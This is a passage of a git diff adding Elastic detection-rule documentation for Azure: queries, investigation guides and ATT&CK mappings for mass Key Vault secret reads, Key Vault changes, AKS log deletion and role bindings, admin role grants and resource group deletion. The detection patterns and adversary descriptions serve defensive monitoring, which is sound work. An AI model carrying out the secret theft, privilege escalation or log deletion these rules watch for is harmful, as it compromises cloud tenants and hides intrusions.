write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.platformlogs-* metadata _id, _index + +// Filter for Azure Key Vault read operations +| where event.dataset == "azure.platformlogs" + and event.action in ( + "VaultGet", + "KeyGet", + "KeyList", + "KeyListVersions", + "KeyGetDeleted", + "KeyListDeleted", + "SecretGet", + "SecretList", + "SecretListVersions", + "SecretGetDeleted", + "SecretListDeleted", + "CertificateGet", + "CertificateList", + "CertificateListVersions", + "CertificateGetDeleted", + "CertificateListDeleted", + "CertificatePolicyGet", + "CertificateContactsGet", + "CertificateIssuerGet", + "CertificateIssuersList" + ) + +// Truncate timestamps into 1-minute windows +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Aggregate identity, geo, resource, and activity info +| stats + Esql_priv.azure_platformlogs_identity_claim_upn_values = values(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_upn_count_distinct = count_distinct(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_appid_values = values(azure.platformlogs.identity.claim.appid), + + Esql.source_ip_values = values(source.ip), + Esql.source_geo_city_values = values(source.geo.city_name), + Esql.source_geo_region_values = values(source.geo.region_name), + Esql.source_geo_country_values = values(source.geo.country_name), + Esql.source_as_organization_name_values = values(source.as.organization.name), + + Esql.event_action_values = values(event.action), + Esql.event_count = count(*), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.azure_resource_name_count_distinct = count_distinct(azure.resource.name), + Esql.azure_resource_name_values = values(azure.resource.name), + Esql.azure_platformlogs_result_type_values = values(azure.platformlogs.result_type), + Esql.cloud_region_values = values(cloud.region), + + Esql.agent_name_values = values(agent.name), + Esql.azure_subscription_id_values = values(azure.subscription_id), + Esql.azure_resource_group_values = values(azure.resource.group), + Esql.azure_resource_id_values = values(azure.resource.id) + +by Esql.time_window_date_trunc, azure.platformlogs.identity.claim.upn + +// keep relevant fields +| keep + Esql.time_window_date_trunc, + Esql_priv.azure_platformlogs_identity_claim_upn_values, + Esql.azure_platformlogs_identity_claim_upn_count_distinct, + Esql.azure_platformlogs_identity_claim_appid_values, + Esql.source_ip_values, + Esql.source_geo_city_values, + Esql.source_geo_region_values, + Esql.source_geo_country_values, + Esql.source_as_organization_name_values, + Esql.event_action_values, + Esql.event_count, + Esql.event_action_count_distinct, + Esql.azure_resource_name_count_distinct, + Esql.azure_resource_name_values, + Esql.azure_platformlogs_result_type_values, + Esql.cloud_region_values, + Esql.agent_name_values, + Esql.azure_subscription_id_values, + Esql.azure_resource_group_values, + Esql.azure_resource_id_values + +// Filter for suspiciously high volume of distinct Key Vault reads by a single actor +| where Esql.azure_platformlogs_identity_claim_upn_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_action_count_distinct >= 2 + +| sort Esql.time_window_date_trunc desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-modified.asciidoc new file mode 100644 index 0000000000..d9af0da663 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-modified.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-20-azure-key-vault-modified]] +=== Azure Key Vault Modified + +Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/key-vault/general/basic-concepts +* https://docs.microsoft.com/en-us/azure/key-vault/general/secure-your-key-vault +* https://learn.microsoft.com/en-us/azure/key-vault/general/security-features + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Activity Logs +* Tactic: Impact +* Use Case: Configuration Audit +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Modified* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects modifications to Key Vaults, which may indicate potential security incidents or misconfigurations. + + +*Possible investigation steps* + +- Review the `azure.activitylogs.operation_name` field to identify the specific operation performed on the Key Vault. Common operations include `Microsoft.KeyVault/vaults/write` for modifications and `Microsoft.KeyVault/vaults/delete` for deletions. +- Check the `event.outcome` field to confirm the success of the operation. A successful outcome indicates that the modification or deletion was completed. +- Investigate the `azure.activitylogs.identity.principal_id` or `azure.activitylogs.identity.principal_name` fields to determine the user or service principal that performed the operation. This can help identify whether the action was authorized or potentially malicious. +- Analyze the `azure.activitylogs.resource_id` field to identify the specific Key Vault that was modified. This can help assess the impact of the change and whether it affects critical resources or applications. +- Cross-reference the time of the modification with other security events or alerts in the environment to identify any patterns or related activities that may indicate a coordinated attack or misconfiguration. +- Consult with relevant stakeholders or system owners to verify if the modification was planned or expected, and gather additional context if necessary. + + +*False positive analysis* + +- Routine maintenance activities by administrators can trigger alerts when they modify or delete Key Vaults. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for Key Vault management might perform frequent updates or deletions, leading to false positives. Identify these scripts and exclude their operations from triggering alerts by using specific identifiers or tags. +- Changes made by authorized third-party services or integrations that manage Key Vault configurations can also result in false positives. Review and whitelist these services to prevent unnecessary alerts. +- Regular updates or deployments in a development or testing environment may cause alerts. Consider excluding these environments from monitoring or adjusting the rule to focus on production environments only. +- Temporary changes for troubleshooting or testing purposes might be flagged. Document these activities and use temporary exceptions to avoid false positives during these periods. + + +*Response and remediation* + +- Immediately isolate the affected Key Vault to prevent further unauthorized access or changes. +- Review the Azure activity logs to identify the specific operations performed on the Key Vault and their outcomes. +- Collaborate with security teams to assess the impact of the modifications and determine if any sensitive data was compromised. +- If unauthorized changes are confirmed, initiate incident response procedures, including notifying affected parties and conducting a thorough investigation. +- Implement additional monitoring and alerting for the affected Key Vault to detect any further suspicious activity. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: MICROSOFT.KEYVAULT/VAULTS/* + and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..c1de8d100e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-events-deleted]] +=== Azure Kubernetes Services (AKS) Kubernetes Events Deleted + +Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Events Deleted* + + +Azure Kubernetes Service (AKS) manages containerized applications using Kubernetes, which logs events like state changes. These logs are crucial for monitoring and troubleshooting. Adversaries may delete these logs to hide their tracks, impairing defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs, flagging successful deletion operations to alert security teams of potential evasion tactics. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and ensure the event outcome is marked as "Success". +- Identify the user or service principal responsible for the deletion by examining the associated identity information in the activity logs. +- Investigate the timeline of events leading up to and following the deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or configuration changes. +- Check for any other related alerts or anomalies in the Azure environment that might indicate a broader attack or compromise. +- Assess the impact of the deleted events by determining which Kubernetes resources or operations were affected and if any critical logs were lost. +- Review access controls and permissions for the user or service principal involved to ensure they align with the principle of least privilege and adjust if necessary. +- Consider implementing additional monitoring or alerting for similar deletion activities to enhance detection and response capabilities. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger deletion events. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log rotation or cleanup might delete events as part of their normal operation. Identify these scripts and exclude their activity from triggering alerts by whitelisting their associated service accounts or IP addresses. +- Misconfigured applications or services that inadvertently delete logs can cause false positives. Review application configurations and adjust them to prevent unnecessary deletions, and exclude these applications from alerts if they are verified as non-threatening. +- Test environments often generate log deletions during setup or teardown processes. Exclude these environments from monitoring or create specific rules that differentiate between production and test environments to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Kubernetes cluster to prevent further unauthorized access or tampering with logs. +- Conduct a thorough review of recent activity logs and access permissions for the affected cluster to identify any unauthorized access or privilege escalation. +- Restore deleted Kubernetes events from backups or snapshots if available, to ensure continuity in monitoring and auditing. +- Implement stricter access controls and audit logging for Kubernetes event deletion operations to prevent unauthorized deletions in the future. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if the deletion is part of a larger attack campaign. +- Review and update incident response plans to incorporate lessons learned from this event, ensuring quicker detection and response to similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc new file mode 100644 index 0000000000..8450de9c2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-rolebindings-created]] +=== Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created + +Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes +* https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created* + +Azure Kubernetes role bindings are crucial for managing access control within Kubernetes clusters, allowing specific permissions to be assigned to users, groups, or service accounts. Adversaries with the ability to create these bindings can escalate privileges by assigning themselves or others high-level roles, such as cluster-admin. The detection rule monitors Azure activity logs for successful creation events of role or cluster role bindings, signaling potential unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service account associated with the role binding creation event. Focus on the `event.dataset` and `azure.activitylogs.operation_name` fields to confirm the specific operation. +- Check the `event.outcome` field to ensure the operation was successful and not a failed attempt, which might indicate a misconfiguration or testing. +- Investigate the permissions and roles assigned to the identified user or service account to determine if they have legitimate reasons to create role bindings or cluster role bindings. +- Examine the context of the role binding creation, such as the time of the event and any related activities, to identify any unusual patterns or correlations with other suspicious activities. +- Verify if the role binding grants elevated privileges, such as cluster-admin, and assess the potential impact on the cluster's security posture. +- Cross-reference the event with any recent changes in the cluster's configuration or access policies to understand if the role binding creation aligns with authorized administrative actions. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate users create role bindings for operational purposes. To manage this, identify and whitelist specific user accounts or service accounts that regularly perform these tasks. +- Automated deployment tools or scripts that configure Kubernetes clusters might create role bindings as part of their normal operation. Exclude these tools by filtering out known service accounts or IP addresses associated with these automated processes. +- Scheduled maintenance or updates to the Kubernetes environment can result in multiple role binding creation events. Establish a maintenance window and suppress alerts during this period to avoid unnecessary noise. +- Development and testing environments often have frequent role binding changes. Consider creating separate monitoring rules with adjusted thresholds or risk scores for these environments to reduce false positives. +- Collaboration with the DevOps team can help identify expected role binding changes, allowing for preemptive exclusion of these events from triggering alerts. + + +*Response and remediation* + + +- Immediately revoke any newly created role bindings or cluster role bindings that are unauthorized or suspicious to prevent further privilege escalation. +- Isolate the affected Kubernetes cluster from the network to prevent potential lateral movement or further exploitation by the adversary. +- Conduct a thorough review of recent activity logs to identify any unauthorized access or changes made by the adversary, focusing on the time frame around the alert. +- Reset credentials and access tokens for any compromised accounts or service accounts involved in the unauthorized role binding creation. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or resources are affected. +- Implement additional monitoring and alerting for any future role binding or cluster role binding creation events to ensure rapid detection and response. +- Review and tighten role-based access control (RBAC) policies to ensure that only necessary permissions are granted to users, groups, and service accounts, minimizing the risk of privilege escalation. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ("MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/WRITE" or + "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/WRITE") and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-rbac-built-in-administrator-roles-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-rbac-built-in-administrator-roles-assigned.asciidoc new file mode 100644 index 0000000000..52cef98513 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-rbac-built-in-administrator-roles-assigned.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-azure-rbac-built-in-administrator-roles-assigned]] +=== Azure RBAC Built-In Administrator Roles Assigned + +Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles +* https://orca.security/resources/research-pod/azure-identity-access-management-iam-active-directory-ad/ +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Azure RBAC Built-In Administrator Roles Assigned* + + +This rule identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. Assignment can be done via the Azure portal, Azure CLI, PowerShell, or through API calls. Monitoring these assignments helps detect potential unauthorized privilege escalations. + + +*Privileged Built-In Administrator Roles* + +- Contributor: b24988ac-6180-42a0-ab88-20f7382dd24c +- Owner: 8e3af657-a8ff-443c-a75c-2fe8c4bcb635 +- Azure File Sync Administrator: 92b92042-07d9-4307-87f7-36a593fc5850 +- Reservations Administrator: a8889054-8d42-49c9-bc1c-52486c10e7cd +- Role Based Access Control Administrator: f58310d9-a9f6-439a-9e8d-f62e7b41a168 +- User Access Administrator: 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9 + + +*Possible investigation steps* + + +- Identify the user who assigned the role and examine their recent activity for any suspicious actions. +- Review the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Check the history of role assignments for the user who was assigned the role to determine if this is a recurring pattern or a one-time event. + - Additionally, identify the lifetime of the targeted user account to determine if it is a newly created account or an existing one. +- Determine if the user assigning the role historically has the necessary permissions to assign such roles and has done so in the past. +- Investigate any recent changes or activities performed by the newly assigned administrator to identify any suspicious actions or configurations that may have been altered. +- Correlate with other logs, such as Microsoft Entra ID sign-in logs, to identify any unusual access patterns or behaviors for the user. + + +*False positive analysis* + + +- Legitimate administrators may assign built-in administrator roles during routine operations, maintenance or as required for onboarding new staff. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If administrative assignment was not authorized: + - Immediately remove the built-in administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.activitylogs and + event.action: "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE" and + azure.activitylogs.properties.requestbody.properties.roleDefinitionId: + ( + *18d7d88d-d35e-4fb5-a5c3-7773c20a72d9* or + *f58310d9-a9f6-439a-9e8d-f62e7b41a168* or + *b24988ac-6180-42a0-ab88-20f7382dd24c* or + *8e3af657-a8ff-443c-a75c-2fe8c4bcb635* or + *92b92042-07d9-4307-87f7-36a593fc5850* or + *a8889054-8d42-49c9-bc1c-52486c10e7cd* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-resource-group-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-resource-group-deleted.asciidoc new file mode 100644 index 0000000000..244c5d76c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-resource-group-deleted.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-azure-resource-group-deleted]] +=== Azure Resource Group Deleted + +Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Resource Group Deleted* + + +Azure Resource Groups are containers that hold related resources for an Azure solution, enabling efficient management and organization. Adversaries may exploit this by deleting entire groups to disrupt services or erase data, causing significant impact. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential malicious actions for further investigation. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and ensure the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Check the timestamp of the deletion event to determine when the resource group was deleted and correlate this with any other suspicious activities around the same time. +- Investigate the resources contained within the deleted resource group to assess the potential impact, including any critical services or data that may have been affected. +- Review any recent changes in permissions or roles assigned to the user or service principal involved in the deletion to identify potential privilege escalation or misuse. +- Examine any related alerts or logs for unusual activities or patterns that might indicate a broader attack or compromise within the Azure environment. + + +*False positive analysis* + + +- Routine maintenance activities by IT teams may trigger alerts when resource groups are intentionally deleted as part of regular updates or infrastructure changes. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or deployment tools that manage resource lifecycles might delete resource groups as part of their normal operation. Identify these scripts and exclude their activity from alerts by filtering based on the service principal or automation account used. +- Testing environments often involve frequent creation and deletion of resource groups. Exclude these environments from alerts by tagging them appropriately and configuring the detection rule to ignore actions on tagged resources. +- Mergers or organizational restructuring can lead to legitimate resource group deletions. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring rules to prevent false positives. +- Ensure that any third-party services or consultants with access to your Azure environment are accounted for, as their activities might include resource group deletions. Establish clear communication channels to verify their actions and adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected Azure subscription to prevent further unauthorized actions. This can be done by temporarily disabling access or applying strict access controls. +- Review and revoke any suspicious or unauthorized access permissions associated with the affected resource group to prevent further exploitation. +- Restore the deleted resources from backups if available. Ensure that backup and recovery processes are validated and functioning correctly. +- Conduct a thorough audit of recent Azure activity logs to identify any other potentially malicious actions or compromised accounts. +- Escalate the incident to the security operations team for a detailed investigation and to determine if there are broader implications or related threats. +- Implement additional monitoring and alerting for similar deletion activities across all Azure subscriptions to enhance early detection of such threats. +- Review and strengthen access management policies, ensuring that only authorized personnel have the necessary permissions to delete resource groups. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc new file mode 100644 index 0000000000..605aa849eb --- /dev/null +++ 